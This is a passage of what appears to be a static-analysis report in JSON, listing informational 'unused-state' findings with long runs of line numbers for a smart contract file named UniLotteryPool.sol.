6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 7675, 7676, 7677, 7678, 7679, 7680, 7681, 7682, 7683, 7684, 7685, 7686, 7687, 7688, 7689, 7690, 7691, 7692, 7693, 7694, 7695, 7696, 7697, 7698, 7699, 7700, 7701, 7702, 7703, 7704, 7705, 7706, 7707, 7708, 7709, 7710, 7711, 7712, 7713, 7714, 7715, 7716, 7717, 7718, 7719, 7720, 7721, 7722, 7723, 7724, 7725, 7726, 7727, 7728, 7729, 7730, 7731, 7732, 7733, 7734, 7735, 7736, 7737, 7738, 7739, 7740, 7741, 7742, 7743, 7744, 7745, 7746, 7747, 7748, 7749, 7750, 7751, 7752, 7753, 7754, 7755, 7756, 7757, 7758, 7759, 7760, 7761, 7762, 7763, 7764, 7765, 7766, 7767, 7768, 7769, 7770, 7771, 7772, 7773, 7774, 7775, 7776, 7777, 7778, 7779, 7780, 7781, 7782, 7783, 7784, 7785, 7786, 7787, 7788, 7789, 7790, 7791, 7792, 7793, 7794, 7795, 7796, 7797, 7798, 7799, 7800, 7801, 7802, 7803, 7804, 7805, 7806, 7807, 7808, 7809, 7810, 7811, 7812, 7813, 7814, 7815, 7816, 7817, 7818, 7819, 7820, 7821, 7822, 7823, 7824, 7825, 7826, 7827, 7828, 7829, 7830, 7831, 7832, 7833, 7834, 7835, 7836, 7837, 7838, 7839, 7840, 7841, 7842, 7843, 7844, 7845, 7846, 7847, 7848, 7849, 7850, 7851, 7852, 7853, 7854, 7855, 7856, 7857, 7858, 7859, 7860, 7861, 7862, 7863, 7864, 7865, 7866, 7867, 7868, 7869, 7870, 7871, 7872, 7873, 7874, 7875, 7876, 7877, 7878, 7879, 7880, 7881, 7882, 7883, 7884, 7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 